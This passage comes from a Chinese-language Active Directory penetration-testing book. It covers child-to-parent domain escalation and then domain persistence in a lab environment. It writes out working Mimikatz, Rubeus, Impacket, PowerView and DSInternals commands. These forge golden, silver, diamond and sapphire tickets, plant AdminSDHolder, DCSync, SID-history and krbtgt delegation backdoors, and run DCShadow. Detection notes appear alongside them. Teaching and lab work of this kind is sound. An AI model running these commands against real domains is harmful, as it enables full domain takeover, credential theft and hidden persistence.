/sid 是子域的 SID。/sids 是父域中 Enterprise Admins 的 SID。结果是可以通过 CIFS 访问父域中的域控制器:

图 6.29 – 伪造的金票证提供对父域中域控制器的访问

图 6.29 – 伪造的金票证提供对父域中域控制器的访问

第二种选择是创建一个使用信任密钥加密的 TGT(目标票证)推荐票证。信任密钥的名称格式为 domain$。伪造跨域票证的命令如下:

kerberos::golden /user:Administrator /domain:north.sevenkingdoms.local /sid:S-1-5-21-3600105556-770076851-109492085 /sids:S-1-5-21-4243769114-3325725031-2403382846-519 /rc4:b595f2a41d4579ae6faa122b74b37ccb /service:krbtgt /target:sevenkingdoms.local /ptt

以下结果与伪造金票证获得的结果相同:

图 6.30 – 伪造的跨域票证提供对父域中域控制器的访问

图 6.30 – 伪造的跨域票证提供对父域中域控制器的访问

有一种方法可以防止这种特权提升漏洞——在子域和父域之间启用 SID 过滤。如果我们不需要 SID 历史记录,可以出于兼容性考虑禁用它。

注意

Improsec 的研究人员撰写的一篇优秀博客文章中,展示了失败攻击的例子 (improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-3-sid-filtering-explained)。

然而,其他同一公司进行的研究表明,并非所有的 SID 都会被过滤,因此在子域中的特权应当仔细审查 (improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)。另一个 SID 过滤绕过方法是,子域控制器上的 SYSTEM 可以将 GPO 链接到父站点,即使启用了 SID 过滤,它也会被复制。

特权访问管理

特权访问管理PAM)不是一个新概念,它是由微软引入的,作为增强型安全管理环境ESAE)模型的一部分,ESAE 还包括恰到好处的管理JEA)和微软身份管理器MIM)。其理念是为管理员创建一个强化的堡垒森林(红森林),并通过使用单向特权身份管理(PIM)信任将其连接到生产森林。提醒一下,信任的方向与访问的方向是相反的。对生产森林的管理访问是由堡垒森林中的影子主体管理的。来自堡垒森林的用户被添加到影子主体组中,因此这些组会映射到生产森林中的特权组。可以设置生存时间TTL)值来减少特权访问时间。这使得无需交互式登录、组成员身份和 ACL 更改即可管理生产森林。

注意

关于如何部署堡垒森林并建立 PIM 信任的一个极好的指南可以在这里找到:petri.com/windows-server-2016-set-privileged-access-management/

来自 ADModule 的以下命令将检查当前森林是否具有 PAM 信任或是否由堡垒森林管理,并列举影子安全主体

Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
Get-ADTrust -Filter {(ForestTransitive -eq $True)}
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | l
  • 作为攻击者,我们的目标是妥协影子安全主体成员或滥用 SID 历史。

注意

关于持久性的大量技巧由Nikhil Mittal在这篇博客文章中分享:www.labofapenetrationtester.com/2019/04/abusing-PAM.xhtml

明显的方法是将用户添加到现有的影子安全主体容器中。然而,这在特权组审核过程中很容易被发现。更隐蔽的方法是授予低特权用户写成员权限,允许其访问影子主体对象。对生产森林的访问尝试通过登录/注销事件进行记录,但根据用户帐户的不同,可能会触发警报。

概要

在本章中,我们介绍了攻击者如何在域内提升权限。我们从那些能够瞬间授予最高权限的致命漏洞开始讨论。定期修补和漏洞管理可以帮助减轻这种攻击途径。接下来,我们讨论了针对域对象的各种 ACL 滥用。我们回顾了最常见的特权升级路径,并附上了实际示例。特别关注了 GPO 滥用,因为组策略可以在整个域中部署,从而为攻击者提供横向移动、特权提升和持久化机会。我们还讨论了在某个组成员被攻破时,内建域组可以用于特权提升的情形。最后,我们讨论了通过子域与父域之间的信任关系进行特权提升的情况。此外,我们简要提到了 PAM 信任主题以及可能的配置错误,这些错误可能破坏整个 ESAE 模型。

在下一章中,我们将讨论攻击者如何在域中实现持久性。了解攻击者如何维持对域的访问至关重要。

参考资料

  1. MS14-068 漏洞利用: github.com/mubix/pykek

  2. Zerologon 中继场景: dirkjanm.io/a-different-way-of-abusing-zerologon/

  3. Zerologon 更改密码场景: www.thehacker.recipes/ad/movement/netlogon/zerologon

  4. Zerologon 漏洞利用: github.com/VoidSec/CVE-2020-1472github.com/dirkjanm/CVE-2020-1472

  5. Printnightmare 利用约束: www.thehacker.recipes/ad/movement/print-spooler-service/printnightmare#constraints

  6. Printnightmare 漏洞利用: github.com/cube0x0/CVE-2021-1675

  7. Windows 版本 noPac 漏洞利用: github.com/cube0x0/noPac

  8. Linux 版本 noPac 漏洞利用: github.com/WazeHell/sam-the-admin

  9. Local potato: decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/

  10. Remote Potato0: github.com/antonioCoco/RemotePotato0

  11. ACL 思维导图: www.thehacker.recipes/ad/movement/dacl

  12. SharpGPOAbuse 工具: github.com/FsecureLABS/SharpGPOAbuse

  13. 打印操作员特权提升:neutronsec.com/privesc/windows/print_operators/

  14. 从备份操作员到域管理员的漏洞利用:github.com/mpgn/BackupOperatorToDA

进一步阅读

这些进一步学习的资源将帮助你深入了解本章中讨论的攻击:

第七章:域级持久性

在进攻性操作中,对手需要保持对目标环境的访问。诸如重启和更改用户密码等活动可能会干扰操作流程。为了克服这些中断,有一些技术可以帮助我们实现持久性。在本章中,我们不会讨论 Windows 工作站和服务器上的主机持久性技术。相反,我们将专注于域级持久性以及特定于域控制器的技术。我们的第一个主题是最著名的票据(黄金票、银票、钻石票和蓝宝石票)。我们将讨论它们之间的区别,并展示它们在 OpSec 方面的实际应用。其他域级持久性主题,例如添加到SID 历史属性和AdminSDHolder域对象的 ACL 和 DACL 操作、委托权限滥用,将通过实际例子进行讲解和演示。最后,我们将通过讨论DCShadow和 Golden gMSA 攻击来结束域级持久性话题。域控制器持久性主要通过操控凭证来实现,方法包括Skeleton Key攻击、恶意的安全支持提供者SSP)注册或访问目录服务恢复模式DSRM)哈希。最后,我们将阐述如何操作 WMI、PS-Remoting 的安全描述符,以及如何设置注册表后门来获取计算机的 NT 哈希、SAM 或缓存的 AD 凭证。

在本章中,我们将讨论以下主要内容:

  • 域持久性,我们将讨论伪造票据、域对象的 ACL/属性操作、DCShadow 攻击和 Golden gMSA 攻击

  • 域控制器持久性,我们将讨论恶意的 SSP 注册、Skeleton Key 攻击、DSRM 哈希转储、注册表后门和安全描述符操作(WMI 和 PS-Remoting)

技术要求

在本章中,你将需要以下内容:

  • VMware Workstation 或 Oracle VM VirtualBox,至少需要 16GB 的 RAM、8 个 CPU 核心和至少 55GB 的总空间(如果你要拍摄快照,需要更多空间)

  • 强烈建议使用基于 Linux 的操作系统

  • 安装了相应虚拟化平台插件和 Ansible 的 Vagrant

  • 在 GOADv2 项目中,我们将使用DC01SRV01DC03SRV03虚拟机

域持久性

在本节中,我们将讨论实现域级持久性的各种方法。这些技术需要相当高的权限,等同于域管理员。实现目标环境中的持久性最直接的方法是创建和/或将被妥协的用户或计算机帐户添加到高权限组中。然而,我们将专注于更复杂的技术。此外,我们不会从持久性角度讨论组策略滥用和定向 Kerberoasting,因为其利用方式与第六章中的示例完全相同,只不过重点放在特权帐户上。在以下技术中,我们将依赖于特权但很少更改的凭证材料(例如,krbtgt 帐户的哈希值)或属性和 ACL 操作。

伪造票证

我们将从伪造票证开始我们的旅程——它们的类型、创建方法、使用方式以及如何保持低调的 OpSec 建议。一个重要的理论概念是特权属性证书PAC)。PAC 在 Kerberos 协议中用于将用户权限分配给服务,例如用户名、SID 和组成员资格。PAC 是每个票证的一部分,并使用密钥分发中心KDC)的密钥或服务帐户密钥进行加密。当我们说票证是伪造的,我们指的是我们在其中放入任意的 PAC 内容。我们将首先探讨的伪造票证类型是银票。

注意

关于金票和银票的深入详细介绍可以在这里找到:en.hackndo.com/kerberos-silver-golden-tickets/

银票

当用户需要访问某项服务时,会发出 ST 请求(KRB_TGS_REQ)并得到回复(KRB_TGS_REP)。回复会使用运行该服务的帐户的 NT 哈希加密。如果攻击者获得了服务帐户的密码或 NT 哈希,就可以伪造一个 PAC,从而伪造服务票证,而无需与域控制器交互。这样的伪造票证称为银票。关于伪造 PAC 的一个小注意事项是,最终它将由服务帐户和 krbtgt 的 NT 哈希双重签名。然而,方便的是,对于服务票证,只会验证第一个签名。需要注意的是,自 2021 年 11 月的微软补丁之后,如果提供的用户名在域中不存在,票证将被拒绝[1]。银票也可以伪造域控制器的帐户。

作为示例,让我们在一台非域加入的机器上,以标准用户lord.varys身份,为castelrock.sevenkingdoms.local服务器伪造一个银票。我们将使用 Rubeus 为用户robert.baratheon(它可以是任何现有的域用户)创建一个票证,针对castelrock上的 CIFS 服务,使用castelrock$帐户的 AES256 密钥:

runas /netonly /user:sevenkingdoms\lord.varys cmd
Rubeus.exe silver /user:robert.baratheon /domain:sevenking doms.local /aes256:9a0d511ea6556233b28c0c0ec576e120cfdb08c372ef 5a7c4def5c829666d75f /sid:S-1-5-21-4243769114-3325725031-2403382846 /service:cifs/castelrock.sevenkingdoms.local /ptt
ls \\castelrock.sevenkingdoms.local\c$

Rubeus 已经成功注入了票证:

图 7.1 – 在注入票证之前无法访问 CIFS 服务

图 7.1 – 在注入票证之前无法访问 CIFS 服务

注入票证后,castelrock 上的 CIFS 服务可以访问:

图 7.2 – Silver Ticket 为 lord.varys 提供访问权限

图 7.2 – Silver Ticket 为 lord.varys 提供访问权限

检测 Silver Ticket 是一项具有挑战性的任务。它比 Golden Ticket 更隐蔽,因为域控制器不参与其中,而且服务账户的 NT 哈希更容易获取。蓝队需要从服务器中提取日志并检查事件 ID 4769,以查看是否存在可能的加密降级(如果使用 RC4 而不是 AES256)。Windows 登录/注销事件 ID 46244647 也可以提供有关用户名、源 IP 地址和用户 SID 的信息。如果我们在审计登录策略中启用了 成功 审计日志,事件 ID 4627 将显示已登录用户的组成员信息。以下是事件 ID 4624 的登录事件示例:

图 7.3 – 缺失的用户名和域名,以及攻击机器的 IP 地址

图 7.3 – 缺失的用户名和域名,以及攻击机器的 IP 地址

最后,我们可能需要在 Rubeus 中使用 /nofullpacsig 标志来排除 FullPacChecksum,该补丁是为 CVE-2022-37967 引入的。这个补丁引入了对丢失或无效 PAC 签名的检查。如果补丁已应用,注册表键 KrbtgtFullPacSignature 将在域控制器上创建。撰写本文时,Microsoft 预计将于 2023 年 10 月强制执行签名。这个票证有一个更加隐蔽的替代方案,它具有有效的 PAC 并基于 S4U2self 滥用。接下来我们来看一下。

Silver Ticket 的隐蔽替代方案(S4U2self 滥用)

S4U2self Kerberos 扩展允许服务代表用户获取自己的服务票证。需要特别提到的是,S4U2self 可以由机器上的任何帐户使用,包括虚拟帐户或网络服务帐户,但在网络上,它充当的是机器本身。S4U2self 可以帮助在攻击者已经妥协机器上的虚拟或网络服务帐户(如 AppPool 或 MSSQL)后进行本地权限提升,之后请求任何用户的服务票证给自己。值得注意的是,用户甚至可以来自 Protected Users 组,或者启用了 账户为敏感且无法委派UserAccountControl 属性。

注意

本地权限提升的示例和 Charlie Clark 的原创研究可以在此查看:exploit.ph/revisiting-delegate-2-thyself.xhtml

现在,我们将展示与银票证不同的替代场景。我将使用一台非域加入机器,并使用castelrock机器账户的 NT 哈希。

该攻击分为两个步骤——首先获取机器账户的 TGT,然后使用该 TGT 进行S4U2self请求以获取服务票证。在第一步中,攻击者可以通过已知计算机账户哈希的方式正常请求机器账户的 TGT。以下命令将请求 TGT:

Rubeus.exe asktgt /domain:sevenkingdoms.local /dc:kingslanding.sevenkingdoms.local /user:castelrock$ /rc4:b49f30381ea7ae249a1d8179802f6982 /nowrap

TGT 请求的结果如下面的截图所示:

图 7.4 – 获取机器账户的 TGT

图 7.4 – 获取机器账户的 TGT

接着,攻击者可以请求服务票证。请注意/self标志,以便模拟受保护用户:

Rubeus.exe s4u /self /impersonateuser:robert.baratheon /dc:kingslanding.sevenkingdoms.local /altservice:"http/castelrock.sevenkingdoms.local" /ticket:"tgt_from_step_1" /nowrap /ptt
Invoke-Command -ComputerName castelrock.sevenkingdoms.local -Command {whoami;hostname}

结果如下面的截图所示:

图 7.5 – 成功的 S42Uself 滥用

图 7.5 – 成功的 S42Uself 滥用

相较于银票证,S4U2self滥用的主要优势在于服务票证具有有效的 PAC,而不是伪造的。现在,让我们讨论一种更为强大的伪造票证类型——黄金票证

黄金票证

黄金票证本质上是伪造的 TGT 票证。凭借这样的 TGT 票证,我们可以作为域中的任何用户请求任何服务票证。理解银票证和黄金票证之间差异的一个很好的比喻是:银票证就像签证,你可以进入一个国家(一个服务器)并在其中旅行(请求访问该服务器上的所有服务);而黄金票证就像护照,你可以申请每个国家的签证(访问该域中任何资源)。

要伪造 TGT,我们需要知道krbtgt账户的 NT 哈希,该信息只能通过域管理员或域中的复制权限获取。微软尝试通过针对CVE-2021-42287的补丁(KB5008380)来阻止黄金票证伪造。该补丁的思路是引入一个新的数据结构,在 PAC 中包含用户的 SID。然而,如果提供了正确的 SID,攻击仍然会成功[2]。Rubeus 中有两个开关,/oldpac/newpac,可以根据补丁安装和强制执行状态来伪造票证。

我们将创建一个黄金票证,用于从castelrock.sevenkingdoms.local机器访问kingslanding.sevenkingdoms.local文件系统,使用低权限用户jaime.lannister进行身份验证:

Rubeus.exe golden /user:robert.baratheon /domain:sevenkingdoms.local /aes256:2279187d6dfbacdc093cadef2964eb0afa1ef16af87cc638d34d3a4ea 49f1aa0 /sid:S-1-5-21-4243769114-3325725031-2403382846 /ptt
ls \\kingslanding.sevenkingdoms.local\c$

在注入黄金票证之前,我们看到如下屏幕:

图 7.6 – 黄金票证伪造过程

图 7.6 – 黄金票证伪造过程

注入黄金票证后,我们看到如下屏幕:

图 7.7 – 使用黄金票证访问域控制器

图 7.7 – 使用黄金票证访问域控制器

检测黄金票证是困难的。我们需要检查日志,特别关注票证加密类型(可能的降级)及其生命周期。票证加密类型可以在事件 ID 4769 中找到。TGT 中非默认的生命周期值是一个很好的指示——例如,默认情况下,域票证的生命周期是 10 小时,但 Mimikatz 创建了一个生命周期为 10 年的票证。如果事件 ID 4769Kerberos 服务票证)缺少对应的事件 ID 4768请求 Kerberos 身份验证票证(TGT)),那就是使用黄金票证的明确迹象。我们有更隐蔽、更好的方式吗?有的!接下来会介绍 钻石票证

钻石票证

钻石票证的概念源自钻石 PAC 攻击,旨在比黄金票证或银票证更隐蔽。攻击的过程从低权限用户请求 TGT 开始,以获取一个合法的票证,然后解密并修改 PAC,重新计算签名,再次加密票证。记住,只能使用已经存在的域用户,否则在最新环境下票证将被拒绝。

注意

关于钻石票证的原始研究可以在这里找到:www.semperis.com/blog/a-diamond-ticket-in-the-ruff/

让我们复现这个攻击。第一步,我们将为标准用户(jaime.lannister)请求一个 TGT。选择 /tgtdeleg 标志后,我们可以使用 Kerberos GSS-API 获取当前用户的 TGT,而无需知道密码。/krbkey 是 krbtgt 账户的 AES 密钥,/ticketuserid/ticketuser相对标识符RID),/groups 指定了票证的组。为了执行这些操作,我们将使用 Rubeus 和以下参数:

Rubeus.exe diamond /tgtdeleg  /krbkey:2279187d6dfbacdc093cadef2964eb0afa1ef16af87cc638d34 d3a4ea49f1aa0 /ticketuser:robert.baratheon /ticketuserid:1113 /groups:512 /nowrap

下面的截图显示了用户请求 TGT 时未使用 /tgtdeleg 标志的例子:

图 7.8 – 低权限用户请求的 TGT

图 7.8 – 低权限用户请求的 TGT

PAC 修改会实时发生,如下图所示:

图 7.9 – 修改后的 TGT

图 7.9 – 修改后的 TGT

使用伪造的 TGT,我们可以通过以下命令请求域控制器上的 CIFS 服务票证:

Rubeus.exe asktgs /user:robert.baratheon /ticket:<diamon_ticket_here> /service:cifs/kingslanding.sevenkingdoms.local /ptt /nowrap

下面展示了 ST 请求:

图 7.10 – 请求 ST

图 7.10 – 请求 ST

我们可以访问在域控制器上运行的 CIFS 服务:

图 7.11 – CIFS 服务访问

图 7.11 – CIFS 服务访问

检测 Diamond Ticket 是更为复杂的任务,需要检查票证内容并确保票证中的值与域中的默认值匹配。事件 ID 4627 可显示低权限用户添加的任何额外组成员。AD 中 PAC 的值与实际用户权限之间的差异也可用于发现恶意活动。最后,我们将讨论 Sapphire Tickets,这是 Diamond Ticket 的更隐秘版本。

Sapphire Ticket

Sapphire Ticket(蓝宝石票证)是 Diamond Ticket(钻石票证)的增强版本,允许攻击者更大程度地模仿合法活动。其核心思想是,不像使用 Diamond Ticket 时修改合法 TGT 中的 PAC,我们将通过 S4U2self+u2u 技巧复制另一高权限用户的合法 PAC,并替换到原始 TGT 中。在这种情况下,我们将避免 PAC 和有效用户权限之间的差异。以下命令使用 -impersonate 标志将创建一个 Sapphire Ticket:

impacket-ticketer -request -impersonate 'robert.baratheon' -domain 'sevenkingdoms.local' -user 'jaime.lannister' -password 'cersei' -aesKey '2279187d6dfbacdc093cadef2964eb0afa1ef16af87cc638d34d3a4ea49f1aa0' -domain-sid 'S-1-5-21-4243769114-3325725031-2403382846' 'vinegrep'

在撰写本文时,Rubeus 或 Impacket 中尚不支持 Sapphire Ticket 功能。Pull request 1411 已发送给 Impacket,但尚未合并到主分支中。

通过域控制器的日志分析仍然可以检测到 Sapphire Ticket。通过 47684769 事件序列可以检测到新伪造票证的即时使用。在日志中,来自相同 Client Address 的 TGT 和 ST 请求将出现两个不同的 Account Name 值,然而 ST 中的用户名从未登录到该计算机。

注意

可以在 pgj11.com/posts/Diamond-And-Sapphire-Tickets/unit42.paloaltonetworks.com/next-gen-kerberos-attacks/ 查找 Diamond 和 Sapphire Tickets 的检测方法。

Charlie ClarkAndrew Schwartz 提出了关于检测伪造票证的有希望的研究。其思路是解密票证并对票证的时间和校验和进行详细分析。蓝队可以创建自定义的 Kerberos 票证策略,为用户强制执行 logonHours 属性,并验证 krbtgt 密钥正确签名的校验和。他们还发布了一个名为 WonkaVision 的工具,自动化了大部分这些检查。你可以从 GitHub[4] 上下载该工具。

接下来的部分将重点介绍通过对不同域对象的 ACL 或属性进行操作来实现持久性。

域对象的 ACL 和属性操作

本节将介绍如何通过对各种域对象的 ACL 和属性进行操作来实现持久性。典型的 ACL 操作目标包括 AdminSDHolder 和域对象。属性更改攻击将瞄准 SIDHistory、userAccountControl、SPN 和委派属性。

AdminSDHolder

Microsoft 在 AD 中引入了 AdminSDHolder 域对象,以防止高权限账户和组的 ACL 被修改。

注意

可以在此处找到默认的受保护对象列表:learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory

若要手动查找属于 AdminSDHolder 的账户和组,我们可以搜索 adminCount 属性,并检查其属性中是否设置为 1。其思路是,AdminSDHolder 对象提供一个预设的安全权限模板,Security Descriptor Propagator 进程每 60 分钟应用一次,保护账户和组。

Sean Metcalf 发现了这一技术。通过域管理员权限,攻击者可以将任意用户账户添加到 AdminSDHolder 的 ACL 中。传播后,该用户账户将对域中所有特权组和账户拥有 GenericAll 权限。PowerView 使得该漏洞的利用变得非常简单:

Add-DomainObjectAcl -PrincipalIdentity jaime.lannister -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=sevenkingdoms,DC=local' -Rights All -Verbose

在 60 分钟后,我们可以看到我们的用户账户被添加到 AdminSDHolder DACL 中:

Get-DomainObjectAcl -Identity 'CN=AdminSDHolder,CN=System,DC=sevenkingdoms,DC=local' | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericAll")} | select securityidentifier
Get-DomainObjectAcl -Identity 'Domain Admins' | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericAll")} | select securityidentifier

攻击过程如以下截图所示:

图 7.12 – jaime.lannister 被添加到 AdminSDHolder 域对象的 DACL 中

图 7.12 – jaime.lannister 被添加到 AdminSDHolder 域对象的 DACL 中

必要时,攻击者将以 jaime.lannister 身份登录,并将自己添加到 domain** **admins 组中:

net group "domain admins" jaime.lannister /add /domain

结果可以在以下截图中看到:

图 7.13 – jaime.lannister 用户账户被添加到 Domain Admins 组

图 7.13 – jaime.lannister 用户账户被添加到 Domain Admins 组

有两种方法可以检测这种技术。我们可以定期查看 AdminSDHolder 对象的 ACL,以确保没有任何更改,并且可以监控 adminCount** = **1 的用户和组。现在,我们将讨论如何向域对象本身添加权限。

通过域管理员权限,我们可以为任何受我们控制的用户授予 DCSync 权限。结果,低权限用户将能够提取域中所有用户的哈希值。添加 DCSync 权限的 PowerView 命令如下所示:

Add-DomainObjectACL -PrincipalIdentity renly.baratheon -TargetIdentity "dc=sevenkingdoms,dc=local" -Rights DCSync -Verbose

然后,我们返回到低权限用户并运行以下 Mimikatz 命令:

mimikatz.exe "lsadump::dcsync /all /csv"

成功的 DCSync 攻击结果如图所示:

图 7.14 – 为用户添加 DCSync 权限并提取哈希值

图 7.14 – 为用户添加 DCSync 权限并提取哈希值

DCSync 攻击检测在 第四章 中已有介绍。

现在,我们进入域对象属性操作部分。我们将从我们熟悉的老朋友——SID 历史开始。

SID 历史

我们在第五章中详细讨论了 SID 历史,当时我们讲解了跨森林的横向移动。令人惊讶的是,SID 历史也适用于来自同一域的 SID,这意味着如果我们将特权 SID 添加到 SID 历史属性中,普通用户实际上将成为域管理员。

在 Windows Server 2016 之前,攻击者可以使用 Mimikatz 添加 SID 历史:

mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:jaime.lannister /new:S-1-5-21-4243769114-3325725031-2403382846-519"

然而,Windows Server 2016 中的 sid::patch 命令阻止了此攻击的执行,并在执行时显示以下错误:

图 7.15 – 通过 Mimikatz 添加 SID 历史时出现错误

图 7.15 – 通过 Mimikatz 添加 SID 历史时出现错误

直接在现代域控制器上添加 SID 历史的唯一已知方法在这里描述[5]。它涉及在域控制器上安装 DSInternals PowerShell 模块并重启 NTDS 服务:

Get-ADUser -Identity lord.varys -Properties sidhistory, memberof
Get-ADUser -Identity cersei.lannister -Properties sidhistory, memberof
Stop-service NTDS -Force
Add-ADDBSidHistory -samaccountname lord.varys -sidhistory S-1-5-21-4243769114-3325725031-2403382846-1111 -DBPath C:\Windows\ntds\ntds.dit -Force
Start-service NTDS
Get-ADUser -Identity lord.varys -Properties sidhistory, memberof

结果,用户 lord.varys 的 SID 历史中已添加了域管理员 SID,如下图所示:

图 7.16 – SID 历史已添加到 lord.varys 用户

图 7.16 – SID 历史已添加到 lord.varys 用户

要检测这一技术,我们可以在域控制器上配置事件 ID 4765SID 历史已添加到帐户)和 4766尝试将 SID 历史添加到帐户失败)的审计。另一种方法是使用 PowerShell 查找 SID 历史中与域 SID 匹配的用户:

[string]$DomainSID = ((Get-ADDomain).DomainSID.Value)
Get-ADUser -Filter "SIDHistory -Like '*'" -Properties SIDHistory | Where {$_.SIDHistory -Like "$DomainSID-*"}

我们的持久化技巧已成功被检测,如下图所示:

图 7.17 – 检测到具有可疑 SID 历史的用户

图 7.17 – 检测到具有可疑 SID 历史的用户

接下来的技术与此类似,但我们现在将更改计算机的属性,使其成为域控制器。

服务器(不)信任帐户

该攻击的主要概念是将 UF_SERVER_TRUST_ACCOUNT 位设置在计算机的 userAccountControl 属性中。然后,AD 必须将此计算机的 primaryGroupId 属性设置为域控制器组的 RID。为了执行这些操作,我们需要域管理员权限。可以手动完成此操作,也可以借助 Stealthbits[6] 开发的 PowerShell 脚本。该脚本有三个功能。第一个命令将创建一个计算机对象,并授予 Authenticated UsersDs-Install-ReplicaWrite 权限:

Add-ServerUntrustAccount -ComputerName Desktop -Password "Qwerty123!" -Verbose

当攻击者需要恢复对域的控制时,则必须调用第二个功能。它会将 userAccountControl 值设置为 8192SERVER_TRUST_ACCOUNT),使用 Mimikatz 执行计算机帐户的 pass-the-hash 攻击,并最终执行 DCSync:

Invoke-ServerUntrustAccount -ComputerName Desktop -Password "Qwerty123!" -MimikatzPath "C:\Users\robert.baratheon\Downloads\mimikatz_trunk\x64\mimikatz.exe" -Verbose

第三个功能用于清理:

Remove-ServerUntrustAccount -ComputerName Desktop -DeleteComputer

以下截图显示了完整的攻击链执行:

图 7.18 – 服务器信任帐户攻击

图 7.18 – 服务器信任帐户攻击

该攻击为攻击者创建了相当重要的立足点,从计算机账户的创建和该账户上不寻常的 ACL 开始,进一步通过传递哈希进行横向移动,最后进行 DCSync 攻击。稍后我们将解释你可能从未听说过的最危险的用户权限。

SeEnableDelegationPrivilege

这里的主要思想是控制一个具有SeEnableDelegationPrivilege用户权限的对象,如果该对象对域中任何用户或计算机拥有GenericAllGenericWrite权限,攻击者将实现域持久性。令人惊讶的是,GenericAll权限不足以修改账户的委派设置,这就是为什么需要SeEnableDelegationPrivilege权限的原因。默认情况下,这一权限仅适用于域控制器本身。

注意

这个技术是由harmj0y发现的,并且在此有详细描述:blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/

首先,我们必须通过编辑默认域控制器策略来授予后门用户此权限,策略文件位置为\\sevenkingdoms.local\sysvol\sevenkingdoms.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf。然后,我们利用对受害者用户的GenericAllGenericWrite权限,将msDS-AllowedToDelegateTo值设置为指向我们的目标服务。GenericWrite在利用过程中需要知道受害者的密码,而GenericAll则允许我们更改密码。最后,我们通过与横向移动时相同的方式滥用受限委派。为了准备攻击演示实验室,我将通过 ADSI 编辑器将tywin.lannister用户账户授予GenericAll权限,赋予renly.baratheon账户,方法与上一章相同。

作为域管理员,攻击者可以手动将tywin.lannister添加到上述组策略中。以下 PowerView 命令将确认所有先决条件已满足:

$policy = Get-DomainPolicy -Source DC
$policy.PrivilegeRights.SeEnableDelegationPrivilege
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -eq 'tywin.lannister'}

结果见以下截图:

图 7.19 – tywin.lannister 用户具备执行攻击所需的所有权限

图 7.19 – tywin.lannister 用户具备执行攻击所需的所有权限

现在,我们使用以下命令设置renly.baratheon用户账户的msDS-AllowedToDelegateTo属性和 userAccountControl 标志:

Set-DomainObject -Identity renly.baratheon -Set @{"msds-allowedtodelegateto"="http/kingslanding.sevenkingdoms.local"} -Verbose
Set-DomainObject -Identity renly.baratheon -Xor @{"useraccountcontrol"="16777216"} -Verbose
Get-DomainObject -Identity renly.baratheon | select msds-allowedtodelegateto, useraccountcontrol | fl

成功执行上述命令的结果可以在以下截图中看到:

图 7.20 – 成功设置所需的用户属性

图 7.20 – 成功设置所需的用户属性

最后,我们将像在第五章中一样滥用受限委派。

从防御角度来看,必须监视此类用户权限以及 GPO 的更改。最终的后门技术也将依赖委派,但这次是在 krbtgt 账户上的 RBCD。

krbtgt 上的委派

这种技术的理念是滥用 krbtgt 账户上的 RBCD。借助内置的域管理员组权限,攻击者可以设置 krbtgt 账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性。对于Protected Users组的成员和启用了Account is sensitive and cannot be delegated标志的账户,这个技巧不起作用。攻击者将通过创建或使用现有计算机账户来设置后门,并借助 AD 模块配置 krbtgt 账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性:

StandIn_v13_Net45.exe --computer legit --make
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount legit$ -Verbose
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

前述命令的结果可以在以下截图中看到:

图 7.21 – 成功设置 krbtgt 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性

图 7.21 – 成功设置 krbtgt 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性

要作为低权限用户利用后门,攻击者请求 krbtgt 服务的服务票据,并执行 DCSync 攻击,步骤如下:

Rubeus.exe hash /password:QMgbL9WpzfRgSrr
Rubeus.exe s4u /nowrap /impersonateuser:Administrator /msdsspn:krbtgt /domain:sevenkingdoms.local /user:legit$ /rc4:56E24C7AD8CCD68A1868CBFFA14B7CD1
Rubeus.exe asktgs /service:"ldap/kingslanding.sevenkingdoms.local" /ptt /ticket:"from_s4u_base64"
mimikatz.exe "lsadump::dcsync /csv /all" "exit"

前述命令执行的结果如下截图所示:

图 7.22 – 由于 krbtgt 账户上的委派而导致的 DCSync 攻击

图 7.22 – 由于 krbtgt 账户上的委派而导致的 DCSync 攻击

从防御角度来看,检测这种技术的唯一方法是监视 krbtgt 账户属性的更改。现在我们已经完成了属性和 ACL 修改,我们将解释一个恶意域控制器攻击。

DCShadow

DCShadow 攻击允许您创建一个伪造的域控制器并推送更改到 AD 对象。请注意,使用复制推送数据可能会破坏您的域。

注意

这种攻击是由Vincent Le TouxBenjamin Delpywww.dcshadow.com/)在 2018 年提出的。

DCShadow 需要域管理员权限来复制更改,并需要在受损主机上具有SYSTEM权限,从而可以实现伪造域控制器功能。Le Toux 和 Delpy 描述的攻击步骤如下:

  1. 通过在CN=Configuration分区中创建两个对象注册域控制器,并更改所使用计算机的 SPN。

  2. 通过触发DrsReplicaAdd、KCC 或其他内部 AD 事件来推送数据。

  3. 删除先前创建的对象以降级域控制器。

我们的攻击计划如下:我们将daenerys.targaryen(域管理员)的特权 SID 添加到低权限的viserys.targaryen用户账户的 SIDHistory 属性中。在meereen.essos.local上,我们以daenerys.targaryen身份登录,他在essos.local域中拥有域管理员权限。我们必须以SYSTEM身份运行以下 Mimikatz 命令:

!+
!processtoken
lsadump::dcshadow /object:viserys.targaryen /attribute:sidhistory /value:S-1-5-21-2801885930-3847104905-347266793-1110

执行结果如以下截图所示:

图 7.23 – DCShadow 添加 SIDHistory 属性

图 7.23 – DCShadow 添加 SIDHistory 属性

以下 Mimikatz 命令应使用域管理员权限执行:

token::whoami
lsadump::dcshadow /push

属性复制如以下截图所示:

图 7.24 – DCShadow 在域控制器上复制 SIDHistory 属性

图 7.24 – DCShadow 在域控制器上复制 SIDHistory 属性

结果是,viserys.targaryen已添加SIDHistory属性,并且现在可以访问域控制器:

图 7.25 – DCShadow 将特权 SID 添加到 viserys.targaryen

图 7.25 – DCShadow 将特权 SID 添加到 viserys.targaryen

